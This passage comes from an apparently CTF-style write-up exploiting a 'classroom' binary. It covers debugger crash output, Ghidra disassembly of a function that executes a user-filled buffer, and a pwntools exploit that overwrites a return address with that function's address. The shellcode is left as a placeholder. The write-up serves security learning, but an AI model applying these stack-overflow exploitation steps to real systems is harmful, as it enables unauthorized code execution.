<span class="mo">06</span><span class="o">:</span><span class="mo">0030</span><span class="err">│</span>     <span class="mh">0x7fffffffe0c8</span> <span class="err">◂—</span> <span class="mh">0x6261617762616176</span> <span class="p">(</span><span class="err">'</span><span class="n">vaabwaab</span><span class="err">'</span><span class="p">)</span>
<span class="mo">07</span><span class="o">:</span><span class="mo">003</span><span class="mi">8</span><span class="err">│</span>     <span class="mh">0x7fffffffe0d0</span> <span class="err">◂—</span> <span class="mh">0x6261617962616178</span> <span class="p">(</span><span class="err">'</span><span class="n">xaabyaab</span><span class="err">'</span><span class="p">)</span>
<span class="err">─────────────────────────────────────────────────────</span><span class="p">[</span> <span class="n">BACKTRACE</span> <span class="p">]</span><span class="err">──────────────────────────────────────────────────────</span>
 <span class="err">►</span> <span class="mi">0</span>         <span class="mh">0x400aea</span> <span class="n">kinder</span><span class="o">+</span><span class="mi">410</span>
   <span class="mi">1</span> <span class="mh">0x6261616b6261616a</span>
   <span class="mi">2</span> <span class="mh">0x6261616d6261616c</span>
   <span class="mi">3</span> <span class="mh">0x6261616f6261616e</span>
   <span class="mi">4</span> <span class="mh">0x6261617162616170</span>
   <span class="mi">5</span> <span class="mh">0x6261617362616172</span>
   <span class="mi">6</span> <span class="mh">0x6261617562616174</span>
   <span class="mi">7</span> <span class="mh">0x6261617762616176</span>
<span class="err">────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────</span>
<span class="n">pwndbg</span><span class="o">&gt;</span> 
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">0x6261616b6261616a</code> is not a valid address, hence the segmentation fault.</p>

<p>So, how can we abuse this? There are a couple of options, perhaps first off, finding some gadgets that <code class="language-plaintext highlighter-rouge">jmp</code> close to <code class="language-plaintext highlighter-rouge">$rsi</code> (since there we have our full payload), but the binary is relatively small and not many gadgets are available. Additionally, we can also assume that ASLR is enabled at the target so hardcodding a stack address won’t exactly cut it.</p>

<p>What we also have is the <code class="language-plaintext highlighter-rouge">ans</code> buffer identified earlier, that holds the input provided in the first answer we submitted. This is an interesting prospect since the binary is compiled with NO-PIE. So, the ans buffer will be located at the very same address across runs.</p>

<p>Looking further into <code class="language-plaintext highlighter-rouge">ans</code> with <code class="language-plaintext highlighter-rouge">ghidra</code>, we observe that <code class="language-plaintext highlighter-rouge">ans</code> is referenced in two locations in the program, in the function <code class="language-plaintext highlighter-rouge">main()</code> and the function <code class="language-plaintext highlighter-rouge">kids_are_not_allowed_here()</code></p>

<p><img src="/assets/images/0xvm-classroom-ghidra.png" alt="ghidra" /></p>

<p>What is even more interesting is a <code class="language-plaintext highlighter-rouge">CALL</code> instruction at <code class="language-plaintext highlighter-rouge">0x40094b</code> to the <code class="language-plaintext highlighter-rouge">RDX</code> register that points to the <code class="language-plaintext highlighter-rouge">ans</code> buffer.</p>

<p>The decompilation of the <code class="language-plaintext highlighter-rouge">kids_are_not_allowed_here</code> function provides more info:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">kids_are_not_allowed_here</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>

<span class="p">{</span>
  <span class="kt">size_t</span> <span class="n">__n</span><span class="p">;</span>
  
  <span class="n">__n</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="n">s_What_are_you_doing_here</span><span class="o">?!</span><span class="n">_Kids_a_00400c68</span><span class="p">);</span>
  <span class="n">write</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="n">s_What_are_you_doing_here</span><span class="o">?!</span><span class="n">_Kids_a_00400c68</span><span class="p">,</span><span class="n">__n</span><span class="p">);</span>
  <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">code</span> <span class="o">*</span><span class="p">)</span><span class="n">ans</span><span class="p">)();</span>
  <span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>You might have seen the <code class="language-plaintext highlighter-rouge">(*(code *)ans)();</code> or a similar notation in shellcode runners. Essentially, this is type casting of the buffer <code class="language-plaintext highlighter-rouge">ans</code> to a function pointer <code class="language-plaintext highlighter-rouge">(void *)</code>, and calling it.</p>

<p>The disassembly provides a much clearer picture:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">**************************************************************</span>
<span class="o">*</span>                          <span class="n">FUNCTION</span>                          <span class="o">*</span>
<span class="o">**************************************************************</span>
                             <span class="n">undefined</span> <span class="n">kids_are_not_allowed_here</span><span class="p">()</span>
             <span class="n">undefined</span>         <span class="n">AL</span><span class="o">:</span><span class="mi">1</span>               <span class="o">&lt;</span><span class="n">RETURN</span><span class="o">&gt;</span>
             <span class="n">undefined8</span>        <span class="n">Stack</span><span class="p">[</span><span class="o">-</span><span class="mh">0x10</span><span class="p">]</span><span class="o">:</span><span class="mi">8</span>     <span class="n">local_10</span>                  <span class="n">XREF</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span><span class="o">:</span>     <span class="mo">00400</span><span class="mi">91</span><span class="n">b</span><span class="p">(</span><span class="n">W</span><span class="p">),</span> 
                                                                                         <span class="mo">00400</span><span class="mi">91</span><span class="n">f</span><span class="p">(</span><span class="n">R</span><span class="p">),</span> 
                                                                                         <span class="mo">00400</span><span class="mi">92</span><span class="n">e</span><span class="p">(</span><span class="n">R</span><span class="p">)</span>  
                             <span class="n">kids_are_not_allowed_here</span>                       <span class="n">XREF</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span><span class="o">:</span>     <span class="n">Entry</span> <span class="n">Point</span><span class="p">(</span><span class="o">*</span><span class="p">),</span> <span class="mf">00400e5</span><span class="n">c</span><span class="p">,</span> <span class="mo">00400</span><span class="n">f38</span><span class="p">(</span><span class="o">*</span><span class="p">)</span>  
        <span class="mo">00400</span><span class="mi">90</span><span class="n">c</span> <span class="mi">55</span>                        <span class="n">PUSH</span>   <span class="n">RBP</span>
        <span class="mo">00400</span><span class="mi">90</span><span class="n">d</span> <span class="mi">48</span> <span class="mi">89</span> <span class="n">e5</span>                  <span class="n">MOV</span>    <span class="n">RBP</span><span class="p">,</span><span class="n">RSP</span>
        <span class="mo">00400</span><span class="mi">910</span> <span class="mi">48</span> <span class="mi">83</span> <span class="n">ec</span> <span class="mi">10</span>               <span class="n">SUB</span>    <span class="n">RSP</span><span class="p">,</span><span class="mh">0x10</span>
        <span class="mo">00400</span><span class="mi">914</span> <span class="mi">48</span> <span class="mi">8</span><span class="n">d</span> <span class="mo">05</span> <span class="mi">4</span><span class="n">d</span> <span class="mo">03</span> <span class="mo">00</span> <span class="mo">00</span>      <span class="n">LEA</span>    <span class="n">RAX</span><span class="p">,[</span><span class="n">s_What_are_you_doing_here</span><span class="o">?!</span><span class="n">_Kids_a_00400c</span>   <span class="o">=</span> <span class="s">"What are you doing here?! Kid</span><span class="err">
</span><span class="s">        0040091b 48 89 45 f8               MOV    qword ptr [RBP + local_10],RAX=&gt;s_What_are_you   = "</span><span class="n">What</span> <span class="n">are</span> <span class="n">you</span> <span class="n">doing</span> <span class="n">here</span><span class="o">?!</span> <span class="n">Kid</span>
        <span class="mo">00400</span><span class="mi">91</span><span class="n">f</span> <span class="mi">48</span> <span class="mi">8</span><span class="n">b</span> <span class="mi">45</span> <span class="n">f8</span>               <span class="n">MOV</span>    <span class="n">RAX</span><span class="p">,</span><span class="n">qword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">RBP</span> <span class="o">+</span> <span class="n">local_10</span><span class="p">]</span>
        <span class="mo">00400</span><span class="mi">923</span> <span class="mi">48</span> <span class="mi">89</span> <span class="n">c7</span>                  <span class="n">MOV</span>    <span class="n">RDI</span><span class="o">=&gt;</span><span class="n">s_What_are_you_doing_here</span><span class="o">?!</span><span class="n">_Kids_a_00400c</span>   <span class="o">=</span> <span class="s">"What are you doing here?! Kid</span><span class="err">
</span><span class="s">        00400926 e8 f5 fd ff ff            CALL   &lt;EXTERNAL&gt;::strlen                               size_t strlen(char * __s)</span><span class="err">
</span><span class="s">        0040092b 48 89 c2                  MOV    RDX,RAX</span><span class="err">
</span><span class="s">        0040092e 48 8b 45 f8               MOV    RAX,qword ptr [RBP + local_10]</span><span class="err">
</span><span class="s">        00400932 48 89 c6                  MOV    RSI=&gt;s_What_are_you_doing_here?!_Kids_a_00400c   = "</span><span class="n">What</span> <span class="n">are</span> <span class="n">you</span> <span class="n">doing</span> <span class="n">here</span><span class="o">?!</span> <span class="n">Kid</span>
        <span class="mo">00400</span><span class="mi">935</span> <span class="n">bf</span> <span class="mo">01</span> <span class="mo">00</span> <span class="mo">00</span> <span class="mo">00</span>            <span class="n">MOV</span>    <span class="n">EDI</span><span class="p">,</span><span class="mh">0x1</span>
        <span class="mo">00400</span><span class="mi">93</span><span class="n">a</span> <span class="n">e8</span> <span class="n">c1</span> <span class="n">fd</span> <span class="n">ff</span> <span class="n">ff</span>            <span class="n">CALL</span>   <span class="o">&lt;</span><span class="n">EXTERNAL</span><span class="o">&gt;::</span><span class="n">write</span>                                <span class="kt">ssize_t</span> <span class="n">write</span><span class="p">(</span><span class="kt">int</span> <span class="n">__fd</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span> <span class="n">_</span>
        <span class="mo">00400</span><span class="mi">93</span><span class="n">f</span> <span class="mi">48</span> <span class="mi">8</span><span class="n">d</span> <span class="mi">15</span> <span class="n">fa</span> <span class="mi">16</span> <span class="mi">20</span> <span class="mo">00</span>      <span class="n">LEA</span>    <span class="n">RDX</span><span class="p">,[</span><span class="n">ans</span><span class="p">]</span>
        <span class="mo">00400</span><span class="mi">946</span> <span class="n">b8</span> <span class="mo">00</span> <span class="mo">00</span> <span class="mo">00</span> <span class="mo">00</span>            <span class="n">MOV</span>    <span class="n">EAX</span><span class="p">,</span><span class="mh">0x0</span>
        <span class="mo">00400</span><span class="mi">94</span><span class="n">b</span> <span class="n">ff</span> <span class="n">d2</span>                     <span class="n">CALL</span>   <span class="n">RDX</span><span class="o">=&gt;</span><span class="n">ans</span>
        <span class="mo">00400</span><span class="mi">94</span><span class="n">d</span> <span class="mi">90</span>                        <span class="n">NOP</span>
        <span class="mo">00400</span><span class="mi">94</span><span class="n">e</span> <span class="n">c9</span>                        <span class="n">LEAVE</span>
        <span class="mo">00400</span><span class="mi">94</span><span class="n">f</span> <span class="n">c3</span>                        <span class="n">RET</span>

</code></pre></div></div>

<p>In a nutshell, jumping to a location within the, or at, function <code class="language-plaintext highlighter-rouge">kids_are_not_allowed_here()</code>, will grant us code execution. (Anywhere before <code class="language-plaintext highlighter-rouge">0x0040093f</code> that is.)</p>

<h1 id="exploit-development">Exploit development</h1>

<p>We already have a general idea of the approach we would like to follow:</p>
<ol>
  <li>Write a payload (#1) to provide as a response to the <code class="language-plaintext highlighter-rouge">Kids must follow the rules (y/n)</code> question. This will be stored at the <code class="language-plaintext highlighter-rouge">ans</code> buffer.</li>
  <li>Overflow the buffer at <code class="language-plaintext highlighter-rouge">kinder</code> function 5th question with a payload (#2) overwritting <code class="language-plaintext highlighter-rouge">$rbp</code> and <code class="language-plaintext highlighter-rouge">$rsp</code> registers,</li>
  <li>Continue executiue, eventaully overwriting the ret address of the <code class="language-plaintext highlighter-rouge">kinder</code> funtion with the <code class="language-plaintext highlighter-rouge">kids_are_not_allowed_here</code> function address.</li>
</ol>

<h2 id="pwntools">Pwntools</h2>

<p>One can start blank, modify everybody’s favorite <a href="https://github.com/epi052/osed-scripts/blob/main/exploit-template.py">exploit template</a>, or use <a href="https://docs.pwntools.com/en/stable/">pwntools</a> embedded template, we’ll use the later.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">~/</span><span class="n">D</span><span class="o">/</span><span class="n">W</span><span class="o">/</span><span class="n">b</span><span class="o">/</span><span class="n">pwn</span> <span class="err">$</span> <span class="n">pwn</span> <span class="n">template</span> <span class="o">--</span><span class="n">host</span> <span class="mf">192.168</span><span class="p">.</span><span class="mf">13.37</span> <span class="o">--</span><span class="n">port</span> <span class="mi">8000</span> <span class="p">.</span><span class="o">/</span><span class="n">classroom</span> <span class="o">|</span> <span class="n">tee</span> <span class="n">sploit</span><span class="p">.</span><span class="n">py</span>
<span class="c1">#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host 192.168.13.37 --port 8000 ./classroom
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="c1"># Set up pwntools for the correct architecture
</span><span class="n">exe</span> <span class="o">=</span> <span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="n">args</span><span class="p">.</span><span class="n">EXE</span> <span class="ow">or</span> <span class="s">'./classroom'</span><span class="p">)</span>

<span class="c1"># Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
</span><span class="n">host</span> <span class="o">=</span> <span class="n">args</span><span class="p">.</span><span class="n">HOST</span> <span class="ow">or</span> <span class="s">'192.168.13.37'</span>
<span class="n">port</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">args</span><span class="p">.</span><span class="n">PORT</span> <span class="ow">or</span> <span class="mi">8000</span><span class="p">)</span>


<span class="k">def</span> <span class="nf">start_local</span><span class="p">(</span><span class="n">argv</span><span class="o">=</span><span class="p">[],</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">):</span>
    <span class="s">'''Execute the target binary locally'''</span>
    <span class="k">if</span> <span class="n">args</span><span class="p">.</span><span class="n">GDB</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">gdb</span><span class="p">.</span><span class="n">debug</span><span class="p">([</span><span class="n">exe</span><span class="p">.</span><span class="n">path</span><span class="p">]</span> <span class="o">+</span> <span class="n">argv</span><span class="p">,</span> <span class="n">gdbscript</span><span class="o">=</span><span class="n">gdbscript</span><span class="p">,</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">)</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">process</span><span class="p">([</span><span class="n">exe</span><span class="p">.</span><span class="n">path</span><span class="p">]</span> <span class="o">+</span> <span class="n">argv</span><span class="p">,</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">start_remote</span><span class="p">(</span><span class="n">argv</span><span class="o">=</span><span class="p">[],</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">):</span>
    <span class="s">'''Connect to the process on the remote host'''</span>
    <span class="n">io</span> <span class="o">=</span> <span class="n">connect</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">args</span><span class="p">.</span><span class="n">GDB</span><span class="p">:</span>
        <span class="n">gdb</span><span class="p">.</span><span class="n">attach</span><span class="p">(</span><span class="n">io</span><span class="p">,</span> <span class="n">gdbscript</span><span class="o">=</span><span class="n">gdbscript</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">io</span>

<span class="k">def</span> <span class="nf">start</span><span class="p">(</span><span class="n">argv</span><span class="o">=</span><span class="p">[],</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">):</span>
    <span class="s">'''Start the exploit against the target.'''</span>
    <span class="k">if</span> <span class="n">args</span><span class="p">.</span><span class="n">LOCAL</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">start_local</span><span class="p">(</span><span class="n">argv</span><span class="p">,</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">)</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">start_remote</span><span class="p">(</span><span class="n">argv</span><span class="p">,</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">)</span>

<span class="c1"># Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
</span><span class="n">gdbscript</span> <span class="o">=</span> <span class="s">'''
tbreak main
continue
'''</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="o">**</span><span class="nb">locals</span><span class="p">())</span>

<span class="c1">#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    Full RELRO
# Stack:    No canary found
# NX:       NX unknown - GNU_STACK missing
# PIE:      No PIE (0x400000)
# Stack:    Executable
# RWX:      Has RWX segments
</span>
<span class="n">io</span> <span class="o">=</span> <span class="n">start</span><span class="p">()</span>

<span class="c1"># shellcode = asm(shellcraft.sh())
# payload = fit({
#     32: 0xdeadbeef,
#     'iaaa': [1, 2, 'Hello', 3]
# }, length=128)
# io.send(payload)
# flag = io.recv(...)
# log.success(flag)
</span>
<span class="n">io</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>

<span class="o">~/</span><span class="n">D</span><span class="o">/</span><span class="n">W</span><span class="o">/</span><span class="n">b</span><span class="o">/</span><span class="n">pwn</span> <span class="err">$</span> 
</code></pre></div></div>

<p>We’ll modify the template to:</p>
<ul>
  <li>handle input/output with the <code class="language-plaintext highlighter-rouge">classroom</code> binary.</li>
  <li>send payload1 at <code class="language-plaintext highlighter-rouge">Kids must follow the rules (y/n)</code> question</li>
  <li>send payload2 at the <code class="language-plaintext highlighter-rouge">kinder</code> function 5th question</li>
</ul>

<p>For payload2 we will modify the template payload from:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># shellcode = asm(shellcraft.sh())
# payload = fit({
#     32: 0xdeadbeef,
#     'iaaa': [1, 2, 'Hello', 3]
# }, length=128)
# io.send(payload)
# flag = io.recv(...)
# log.success(flag)
</span></code></pre></div></div>

<p>to the following:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">payload2</span> <span class="o">=</span> <span class="n">fit</span><span class="p">({</span>
    <span class="mi">136</span><span class="p">:</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x40090c</span><span class="p">)</span>
    <span class="p">},</span> <span class="n">filler</span><span class="o">=</span><span class="n">asm</span><span class="p">(</span><span class="n">shellcraft</span><span class="p">.</span><span class="n">nop</span><span class="p">()),</span> <span class="n">length</span><span class="o">=</span><span class="mi">400</span><span class="p">)</span>
</code></pre></div></div>

<p>this will produce a byte array of 400 nops inclduing a 64bit packed value at offset 136.</p>

<p>As discussed earlier, at that offset exists the return value we aim to overwrite, and we are overwritting with the <code class="language-plaintext highlighter-rouge">kids_are_not_allowed_here()</code> function address: <code class="language-plaintext highlighter-rouge">0x40090c</code></p>

<p>In <code class="language-plaintext highlighter-rouge">ipython3</code> we can verify:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">~/</span><span class="n">D</span><span class="o">/</span><span class="n">W</span><span class="o">/</span><span class="n">b</span><span class="o">/</span><span class="n">pwn</span> <span class="err">$</span> <span class="n">ipython3</span>
<span class="n">Python</span> <span class="mf">3.11</span><span class="p">.</span><span class="mi">9</span> <span class="p">(</span><span class="n">main</span><span class="p">,</span> <span class="n">Apr</span> <span class="mi">10</span> <span class="mi">2024</span><span class="p">,</span> <span class="mi">13</span><span class="p">:</span><span class="mi">16</span><span class="p">:</span><span class="mi">36</span><span class="p">)</span> <span class="p">[</span><span class="n">GCC</span> <span class="mf">13.2</span><span class="p">.</span><span class="mi">0</span><span class="p">]</span>
<span class="n">Type</span> <span class="s">'copyright'</span><span class="p">,</span> <span class="s">'credits'</span> <span class="ow">or</span> <span class="s">'license'</span> <span class="k">for</span> <span class="n">more</span> <span class="n">information</span>
<span class="n">IPython</span> <span class="mf">8.20</span><span class="p">.</span><span class="mi">0</span> <span class="o">--</span> <span class="n">An</span> <span class="n">enhanced</span> <span class="n">Interactive</span> <span class="n">Python</span><span class="p">.</span> <span class="n">Type</span> <span class="s">'?'</span> <span class="k">for</span> <span class="n">help</span><span class="p">.</span>

<span class="n">In</span> <span class="p">[</span><span class="mi">1</span><span class="p">]:</span> <span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="n">In</span> <span class="p">[</span><span class="mi">2</span><span class="p">]:</span> <span class="n">payload2</span> <span class="o">=</span> <span class="n">fit</span><span class="p">({</span>
    <span class="p">...:</span> <span class="mi">136</span><span class="p">:</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x40090c</span><span class="p">)</span>
    <span class="p">...:</span> <span class="p">},</span> <span class="n">filler</span><span class="o">=</span><span class="n">asm</span><span class="p">(</span><span class="n">shellcraft</span><span class="p">.</span><span class="n">nop</span><span class="p">()),</span> <span class="n">length</span><span class="o">=</span><span class="mi">400</span><span class="p">)</span>

<span class="n">In</span> <span class="p">[</span><span class="mi">3</span><span class="p">]:</span> <span class="k">print</span><span class="p">(</span><span class="n">hexdump</span><span class="p">(</span><span class="n">payload2</span><span class="p">))</span>
<span class="mi">00000000</span>  <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span>  <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span>  <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span>  <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span>  <span class="err">│····│····│····│····│</span>
<span class="o">*</span>
<span class="mi">00000080</span>  <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span>  <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span>  <span class="mi">0</span><span class="n">c</span> <span class="mi">09</span> <span class="mi">40</span> <span class="mi">00</span>  <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span> <span class="mi">00</span>  <span class="err">│····│····│··</span><span class="o">@</span><span class="err">·│····│</span>
<span class="mi">00000090</span>  <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span>  <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span>  <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span>  <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span>  <span class="err">│····│····│····│····│</span>
<span class="o">*</span>
<span class="mi">00000190</span>
</code></pre></div></div>

<p>For payload1 we can use something similar to the below:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">shellcode</span> <span class="o">=</span> <span class="s">''</span> <span class="c1"># shellcode placeholder
</span>
<span class="n">payload1</span> <span class="o">=</span> <span class="n">fit</span><span class="p">({</span>
    <span class="mi">0</span><span class="p">:</span> <span class="n">shellcode</span>
    <span class="p">},</span> <span class="n">filler</span><span class="o">=</span><span class="n">cyclic</span><span class="p">(</span><span class="mi">92</span><span class="p">),</span> <span class="n">length</span><span class="o">=</span><span class="mi">92</span><span class="p">)</span>
</code></pre></div></div>

<p>And in <code class="language-plaintext highlighter-rouge">ipython</code> we can verify:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">In</span> <span class="p">[</span><span class="mi">22</span><span class="p">]:</span> <span class="n">shellcode</span> <span class="o">=</span> <span class="s">''</span> <span class="c1"># shellcode placeholder
</span>
<span class="n">In</span> <span class="p">[</span><span class="mi">23</span><span class="p">]:</span> <span class="n">payload1</span> <span class="o">=</span> <span class="n">fit</span><span class="p">({</span>
    <span class="p">...:</span> <span class="mi">0</span><span class="p">:</span> <span class="n">shellcode</span>
    <span class="p">...:</span> <span class="p">},</span> <span class="n">filler</span><span class="o">=</span><span class="n">cyclic</span><span class="p">(</span><span class="mi">92</span><span class="p">),</span> <span class="n">length</span><span class="o">=</span><span class="mi">92</span><span class="p">)</span>
<span class="o">&lt;</span><span class="n">ipython</span><span class="o">-</span><span class="nb">input</span><span class="o">-</span><span class="mi">23</span><span class="o">-</span><span class="n">ea8b22b47255</span><span class="o">&gt;</span><span class="p">:</span><span class="mi">1</span><span class="p">:</span> <span class="nb">BytesWarning</span><span class="p">:</span> <span class="n">Text</span> <span class="ow">is</span> <span class="ow">not</span> <span class="nb">bytes</span><span class="p">;</span> <span class="n">assuming</span> <span class="n">ASCII</span><span class="p">,</span> <span class="n">no</span> <span class="n">guarantees</span><span class="p">.</span> <span class="n">See</span> <span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="n">docs</span><span class="p">.</span><span class="n">pwntools</span><span class="p">.</span><span class="n">com</span><span class="o">/</span><span class="c1">#bytes
</span>  <span class="n">payload1</span> <span class="o">=</span> <span class="n">fit</span><span class="p">({</span>

<span class="n">In</span> <span class="p">[</span><span class="mi">24</span><span class="p">]:</span> <span class="k">print</span><span class="p">(</span><span class="n">hexdump</span><span class="p">(</span><span class="n">payload1</span><span class="p">))</span>
<span class="mi">00000000</span>  <span class="mi">61</span> <span class="mi">61</span> <span class="mi">61</span> <span class="mi">61</span>  <span class="mi">62</span> <span class="mi">61</span> <span class="mi">61</span> <span class="mi">61</span>  <span class="mi">63</span> <span class="mi">61</span> <span class="mi">61</span> <span class="mi">61</span>  <span class="mi">64</span> <span class="mi">61</span> <span class="mi">61</span> <span class="mi">61</span>  <span class="err">│</span><span class="n">aaaa</span><span class="err">│</span><span class="n">baaa</span><span class="err">│</span><span class="n">caaa</span><span class="err">│</span><span class="n">daaa</span><span class="err">│</span>
<span class="mi">00000010</span>  <span class="mi">65</span> <span class="mi">61</span> <span class="mi">61</span> <span class="mi">61</span>  <span class="mi">66</span> <span class="mi">61</span> <span class="mi">61</span> <span class="mi">61</span>  <span class="mi">67</span> <span class="mi">61</span> <span class="mi">61</span> <span class="mi">61</span>  <span class="mi">68</span> <span class="mi">61</span> <span class="mi">61</span> <span class="mi">61</span>  <span class="err">│</span><span class="n">eaaa</span><span class="err">│</span><span class="n">faaa</span><span class="err">│</span><span class="n">gaaa</span><span class="err">│</span><span class="n">haaa</span><span class="err">│</span>
<span class="mi">00000020</span>  <span class="mi">69</span> <span class="mi">61</span> <span class="mi">61</span> <span class="mi">61</span>  <span class="mi">6</span><span class="n">a</span> <span class="mi">61</span> <span class="mi">61</span> <span class="mi">61</span>  <span class="mi">6</span><span class="n">b</span> <span class="mi">61</span> <span class="mi">61</span> <span class="mi">61</span>  <span class="mi">6</span><span class="n">c</span> <span class="mi">61</span> <span class="mi">61</span> <span class="mi">61</span>  <span class="err">│</span><span class="n">iaaa</span><span class="err">│</span><span class="n">jaaa</span><span class="err">│</span><span class="n">kaaa</span><span class="err">│</span><span class="n">laaa</span><span class="err">│</span>
<span class="mi">00000030</span>  <span class="mi">6</span><span class="n">d</span> <span class="mi">61</span> <span class="mi">61</span> <span class="mi">61</span>  <span class="mi">6</span><span class="n">e</span> <span class="mi">61</span> <span class="mi">61</span> <span class="mi">61</span>  <span class="mi">6</span><span class="n">f</span> <span class="mi">61</span> <span class="mi">61</span> <span class="mi">61</span>  <span class="mi">70</span> <span class="mi">61</span> <span class="mi">61</span> <span class="mi">61</span>  <span class="err">│</span><span class="n">maaa</span><span class="err">│</span><span class="n">naaa</span><span class="err">│</span><span class="n">oaaa</span><span class="err">│</span><span class="n">paaa</span><span class="err">│</span>
<span class="mi">00000040</span>  <span class="mi">71</span> <span class="mi">61</span> <span class="mi">61</span> <span class="mi">61</span>  <span class="mi">72</span> <span class="mi">61</span> <span class="mi">61</span> <span class="mi">61</span>  <span class="mi">73</span> <span class="mi">61</span> <span class="mi">61</span> <span class="mi">61</span>  <span class="mi">74</span> <span class="mi">61</span> <span class="mi">61</span> <span class="mi">61</span>  <span class="err">│</span><span class="n">qaaa</span><span class="err">│</span><span class="n">raaa</span><span class="err">│</span><span class="n">saaa</span><span class="err">│</span><span class="n">taaa</span><span class="err">│</span>
<span class="mi">00000050</span>  <span class="mi">75</span> <span class="mi">61</span> <span class="mi">61</span> <span class="mi">61</span>  <span class="mi">76</span> <span class="mi">61</span> <span class="mi">61</span> <span class="mi">61</span>  <span class="mi">77</span> <span class="mi">61</span> <span class="mi">61</span> <span class="mi">61</span>               <span class="err">│</span><span class="n">uaaa</span><span class="err">│</span><span class="n">vaaa</span><span class="err">│</span><span class="n">waaa</span><span class="err">│</span>
<span class="mi">0000005</span><span class="n">c</span>

</code></pre></div></div>

<p>Finally, for handling input and output we can add before <code class="language-plaintext highlighter-rouge">io.interactive()</code> something like the below to handle interaction with the binary:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">)</span>    <span class="c1"># receive everything and wait for prompt
</span><span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload1</span><span class="p">)</span>  <span class="c1"># send payload1 at the `Is everything clear?                             (y/n)` question
</span><span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">)</span>    <span class="c1"># continue receiving and sending data until                              the 5th question 
</span><span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'y'</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">)</span>
